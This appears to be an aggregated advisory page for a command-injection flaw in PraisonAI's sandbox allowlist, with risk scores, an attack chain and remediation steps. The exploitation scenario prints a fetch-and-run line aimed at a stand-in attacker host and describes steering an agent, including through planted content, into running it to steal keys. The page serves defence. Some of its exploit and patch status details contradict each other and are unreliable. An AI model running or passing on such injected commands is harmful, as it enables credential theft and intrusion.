CVE-2026-57136: PraisonAI: command injection bypasses sandbox allowlist

HIGHPoC AVAILABLECISA: ATTEND

Published September 15, 2026

CISO Take

PraisonAI's TypeScript sandbox executor only checks the first executable of a command against its allowlist, then hands the entire string to `sh -c`, so anything appended with shell metacharacters (`;`, `&&`, `|`, `$()`) runs with the full privileges of the PraisonAI process. This silently defeats the one control teams rely on to contain what an AI agent can run. Exploitation likelihood is currently low to moderate (EPSS 0.55%, 56th percentile), with no public exploit, no Nuclei template and no CISA KEV listing, and CISA SSVC rates it ATTEND. The low-privilege, network-reachable, no-interaction profile (CVSS 8.8) makes it an easy win for anyone who can submit input to an agent, including through prompt injection. Upgrade to 1.7.2 or later, and until then treat any agent using the sandbox executor as unsandboxed.

Sources:NVDEPSSGitHub AdvisoryATLASCISA SSVC

What is the risk?

High severity (CVSS 8.8) with a low-complexity, network-reachable attack that needs only low privileges and no user interaction. Real-world exploitation likelihood is moderate: EPSS is 0.00547 (56th percentile), there is no public exploit, no scanner template, and no KEV listing. SSVC is ATTEND, so it should be handled promptly but not as an emergency. The main amplifier is that the flaw sits in a control meant to make agent-driven command execution safe. Operators may therefore have granted the agent broader reach than they would have without a perceived sandbox. Blast radius is limited to deployments that use the TypeScript CLI sandbox executor, and downstream dependent counts are unknown.

How does the attack unfold?

Initial Access

Attacker with low privileges submits a task or crafted content that leads the agent to issue a sandboxed command.

AML.T0049

Allowlist Bypass

A command starting with an allowed executable is followed by shell metacharacters and a non-allowlisted command, which the first-token check approves.

AML.T0053

Execution

The full string is passed to sh -c, running the injected command with the PraisonAI process privileges.

AML.T0050

Impact

Attacker steals API keys and credentials, installs a backdoor, and pivots to connected systems.

Initial Access

Attacker with low privileges submits a task or crafted content that leads the agent to issue a sandboxed command.

AML.T0049

Allowlist Bypass

A command starting with an allowed executable is followed by shell metacharacters and a non-allowlisted command, which the first-token check approves.

AML.T0053

Execution

The full string is passed to sh -c, running the injected command with the PraisonAI process privileges.

AML.T0050

Impact

Attacker steals API keys and credentials, installs a backdoor, and pivots to connected systems.

What systems are affected?

Package	Ecosystem	Vulnerable Range	Patched
PraisonAI	pip	—	No patch
1 dependents61% patched~23d to patchFull package profile →

Do you use PraisonAI? You're affected.

How severe is it?

CVSS 3.1

8.8 / 10

EPSS

0.5%

chance of exploitation in 30 days

Higher than 46% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

Exploit Available

Exploitation: MEDIUM

Sophistication

Trivial

Exploitation Confidence

medium

○CISA SSVC: Public PoC

○Public PoC indexed (trickest/cve)

Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AVNetwork

ACLow

PRLow

UINone

SUnchanged

CHigh

IHigh

AHigh

What should I do?

1 step

1) Upgrade PraisonAI to 1.7.2 or later (see the GHSA-vjv9-7m7j-h833 advisory and commit 709a038). 2) Until patched, disable or avoid the sandbox executor feature, or run PraisonAI inside a container or VM with no host mounts, a read-only filesystem, dropped capabilities and egress filtering. 3) Run the agent process as an unprivileged account with minimal credentials, and keep secrets out of its environment. 4) Restrict who can submit tasks or prompts to agents, and require human approval for shell tool calls. 5) Detect abuse by monitoring for sh -c child processes of the PraisonAI/Node process that contain ;, &&, ||, |, backticks or $(, and for unexpected outbound connections from agent hosts. 6) Inventory repositories and images for praisonai versions in the affected range and rotate any credentials that were reachable from exposed instances.

What does CISA's SSVC say?

DecisionAttend

Exploitationpoc

AutomatableNo

Technical Impacttotal

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Code ExecutionAuth BypassAgentFrameworkPluginAML.T0049- Exploit Public-Facing Application AML.T0050- Command and Scripting Interpreter AML.T0053- AI Agent Tool Invocation

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act

Art. 15-Accuracy, robustness and cybersecurity

ISO 42001

A.6.2.6-AI system operation and monitoring

NIST AI RMF

MANAGE 2.3-Response to previously unknown risks and mechanisms to supersede or deactivate AI systems

OWASP LLM Top 10

LLM06-Excessive Agency

Frequently Asked Questions

What is CVE-2026-57136?

Is CVE-2026-57136 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2026-57136, increasing the risk of exploitation.

How to fix CVE-2026-57136?

1) Upgrade PraisonAI to 1.7.2 or later (see the GHSA-vjv9-7m7j-h833 advisory and commit 709a038). 2) Until patched, disable or avoid the sandbox executor feature, or run PraisonAI inside a container or VM with no host mounts, a read-only filesystem, dropped capabilities and egress filtering. 3) Run the agent process as an unprivileged account with minimal credentials, and keep secrets out of its environment. 4) Restrict who can submit tasks or prompts to agents, and require human approval for shell tool calls. 5) Detect abuse by monitoring for `sh -c` child processes of the PraisonAI/Node process that contain `;`, `&&`, `||`, `|`, backticks or `$(`, and for unexpected outbound connections from agent hosts. 6) Inventory repositories and images for praisonai versions in the affected range and rotate any credentials that were reachable from exposed instances.

What systems are affected by CVE-2026-57136?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, multi-agent orchestration, agent tool execution sandboxes, CLI-based AI developer tooling.

What is the CVSS score for CVE-2026-57136?

CVE-2026-57136 has a CVSS v3.1 base score of 8.8 (HIGH). The EPSS exploitation probability is 0.55%.

What is the AI security impact?

Affected AI Architectures

agent frameworksmulti-agent orchestrationagent tool execution sandboxesCLI-based AI developer tooling

MITRE ATLAS Techniques

AML.T0049Exploit Public-Facing Application

AML.T0050Command and Scripting Interpreter

AML.T0053AI Agent Tool Invocation

Compliance Controls Affected

EU AI Act: Art. 15

ISO 42001: A.6.2.6

NIST AI RMF: MANAGE 2.3

OWASP LLM Top 10: LLM06

What are the technical details?

Original Advisory

PraisonAI is a multi-agent teams system. From 1.2.3 until 1.7.2, CommandValidator in src/praisonai-ts/src/cli/features/sandbox-executor.ts validates only the first whitespace-delimited executable against allowedCommands, then SandboxExecutor passes the complete command string to sh -c. A command beginning with an allowed executable can append a non-allowlisted command through shell metacharacters, causing arbitrary commands to run with the PraisonAI process privileges. This issue is fixed in version 1.7.2.

Exploitation Scenario

An attacker with low-privilege access to an application built on PraisonAI, or the ability to place content an agent will process, causes the agent to run a command such as `ls; curl https://attacker.example/x.sh | sh`. The validator sees only `ls`, which is on the allowlist, and approves it, while `sh -c` executes the entire string. The injected payload then reads the process environment for LLM API keys and cloud credentials, sends them to the attacker, and drops a persistent backdoor or reverse shell on the agent host. From there the attacker pivots to connected data stores and internal services.

Weaknesses (CWE)

CWE-693Protection Mechanism FailurePrimary CWE-78Improper Neutralization of Special Elements used in an OS CommandPrimary CWE-863Incorrect AuthorizationPrimary CWE-693Protection Mechanism Failure CWE-78Improper Neutralization of Special Elements used in an OS Command CWE-863Incorrect Authorization

CWE-693 — Protection Mechanism Failure: The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.

Source: MITRE CWE corpus.